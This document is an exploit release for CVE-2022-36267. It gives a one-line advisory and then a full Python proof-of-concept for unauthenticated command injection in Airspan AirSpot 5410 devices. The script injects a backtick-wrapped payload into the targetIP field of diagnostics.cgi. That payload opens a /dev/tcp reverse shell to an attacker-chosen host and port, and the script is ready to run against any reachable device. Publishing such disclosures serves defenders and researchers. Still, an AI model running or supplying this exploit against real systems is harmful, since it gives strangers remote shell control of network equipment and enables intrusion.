Authored by Samy Younsi

AirSpot 5410 versions 0.3.4.1-4 and below suffer from an unauthenticated remote command injection vulnerability.

advisories | CVE-2022-36267

# -*- coding: utf-8 -*-

# Exploit Title: AirSpot unauthenticated remote command injection
# Date: 7/26/2022
# Exploit Author: Samy Younsi (NSLABS) (https://samy.link)
# Vendor Homepage: https://www.airspan.com/
# Software Link: https://wdi.rfwel.com/cdn/techdocs/AirSpot5410.pdf
# Version: 0.3.4.1-4 and under.
# Tested on: Airspan AirSpot 5410 version 0.3.4.1-4 (Ubuntu)
# CVE : CVE-2022-36267

from __future__ import print_function, unicode_literals
import argparse
import requests
import urllib3
urllib3.disable_warnings()

def banner():
airspanLogo = """
,-.
/ `. __..-,O
: --''_..-'.'
| . .-' `. '.
: . .`.'
`. / ..
`. ' .
`, `.
,|,`. `-.
'.|| ``-...__..-`
| | Airspan
|__| AirSpot 5410
/|| PWNED x_x
//||
// ||
__//__||____
'--------------'Necrum Security Labs

33[1;92mSamy Younsi (Necrum Security Labs)33[1;m 33[1;91mAirSpot 5410 CMD INJECTION33[1;m
FOR EDUCATIONAL PURPOSE ONLY.
"""
return print('33[1;94m{}33[1;m'.format(airspanLogo))

def pingWebInterface(RHOST, RPORT):
url = 'https://{}:{}'.format(RHOST, RPORT)
try:
response = requests.get(url, allow_redirects=False, verify=False, timeout=30)
if response.status_code != 200:
print('[!] 33[1;91mError: AirSpot 5410 device web interface is not reachable. Make sure the specified IP is correct.33[1;m')
exit()
print('[INFO] Airspan device web interface seems reachable!')
except:
print('[!] 33[1;91mError: AirSpot 5410 device web interface is not reachable. Make sure the specified IP is correct.33[1;m')
exit()


def execReverseShell(RHOST, RPORT, LHOST, LPORT):
payload = '`sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{}%2F{}%200%3E%261`'.format(LHOST, LPORT)
data = 'Command=pingDiagnostic&targetIP=1.1.1.1{}&packetSize=55&timeOut=10&count=1'.format(payload)
try:
print('[INFO] Executing reverse shell...')
response = requests.post('https://{}:{}/cgi-bin/diagnostics.cgi'.format(RHOST, RPORT), data=data, verify=False)
print("Reverse shell successfully executed. {}:{}".format(LHOST, LPORT))
return
except Exception as e:
print("Reverse shell failed. Make sure the AirSpot 5410 device can reach the host {}:{}").format(LHOST, LPORT)
return False

def main():
banner()
args = parser.parse_args()
pingWebInterface(args.RHOST, args.RPORT)
execReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT)


if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Script PoC that exploit an nauthenticated remote command injection on Airspan AirSpot devices.', add_help=False)
parser.add_argument('--RHOST', help="Refers to the IP of the target machine. (Airspan AirSpot device)", type=str, required=True)
parser.add_argument('--RPORT', help="Refers to the open port of the target machine. (443 by default)", type=int, required=True)
parser.add_argument('--LHOST', help="Refers to the IP of your machine.", type=str, required=True)
parser.add_argument('--LPORT', help="Refers to the open port of your machine.", type=int, required=True)
main()